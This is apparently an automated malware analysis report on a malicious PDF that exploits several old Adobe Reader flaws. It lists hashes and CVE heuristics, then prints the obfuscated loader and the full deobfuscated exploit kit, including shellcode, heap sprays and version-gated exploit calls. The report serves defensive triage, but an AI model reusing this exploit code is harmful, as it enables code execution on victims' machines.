Malicious PDF — malware analysis report

Static analysis result for SHA-256 c5fb90ee7eed4090…

MALICIOUS

PDF

44.9 KB First seen: 2013-08-26
MD5: 1fc0e28d25c69cac67213a6620e37339 SHA-1: 1bc93bb6a30fca7225f89b34ec2bb6a3790b3aac SHA-256: c5fb90ee7eed409018424cef535ab12c28ed4a59154ebb00e2fbc30598c1107c
408 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File

The PDF file contains embedded JavaScript, indicated by heuristic firings PDF_JAVASCRIPT and PDF_JS. The ML classifier also strongly flagged this PDF as malicious. The embedded JavaScript is likely designed to download and execute a second-stage payload, a common technique for initial access. No specific IOCs were extracted from the JavaScript itself.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0F7 458 bytes
SHA-256: 8de62181cbfe2405bbc26ee9e5015cbe8e021387d40ab5a7475510847dc1e901
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
bgrbg='';
pcw=('qwrwqr','tit');
e('fupae=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
mdnkz=e('String.fro'+fupae.substr(0,9));
omumj = e(fupae.substr(9)['replace'](/u/g,','));
e('k=omumj.length');
for (i = 0; i < k; i+=2) {
	wsnqe = omumj[i+1] + ('erybjkerl',omumj[i]);
	bgrbg += mdnkz(wsnqe);
}
e(bgrbg);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3672 bytes
SHA-256: f372e842f49d7ff64ebe3b27c2fd4cbf908517fef7611723f99aa30b9ccd99ad
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u43b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ucb34%ue2aa%uc3fa%ue5e8%uffff%u22ff%ucac7%ucbcb%u4a95%u9727%ucbca%u42cb%u462c%udb84%ua446%ufa9f%u9c10%u989a%u9898%u9898%u9898%u989e%ua398%ucacf%ucbcb%u9d9e%ua398%ua5a4%ucbcb%ubea3%ua7b9%u9fa6%u45a3%uc585%u2327%ucb83%ucbcb%u239b%ucbb7%ucbcb%u1b34%u0f48%ua3c3%u2484%uce84%u239b%ucba7%ucbcb%u1b34%u0b4e%udcbe%u9fa1%u3892%ua361%u35b9%udd78%ud623%ucbcb%u9bcb%u9a23%ucbcb%u34cb%u981b%u35a1%u42a3%ucaa4%u2376%ucbc3%ucbcb%u239b%ucbf7%ucbcb%u1b34%ufaab%uaf0b%u9b40%u40fb%uc799%u9940%u40df%ue3b9%ud372%ucbcb%ufacb%ufa34%u670b%uaaf7%uc9b7%uebe7%u040a%ucac6%u290c%u4a3b%u9034%u8177%u40a1%udb89%ud940%u12be%u8f42%ud7ef%u08aa%u40ab%uefa7%u40ef%uf78e%u9f40%ub3ce%u21ca%u8140%u40d3%ueb91%u20ca%uff28%u4082%u40ff%u25ca%u34fa%u0bfa%u6737%u0b4f%uccbf%u040a%ucac6%u200c%uf03f%uefb7%ubee3%u402a%uef91%u20ca%u40ad%u80c7%u9140%ucad7%u4020%u40cf%u23ca%u8f42%ud7ef%u09aa%ucbc3%u2423%u3435%ua334%ubfbf%uf1bb%ue4e4%uf8fb%ua6fa%ua2a7%uf9fc%ua8e5%ue5b1%ua8a8%uaae4%ua8a8%ub8ae%ufcb8%ua0e4%ubbe5%ubba3%uadf4%ufdf6%uedfb%uf6ae%ucbfe';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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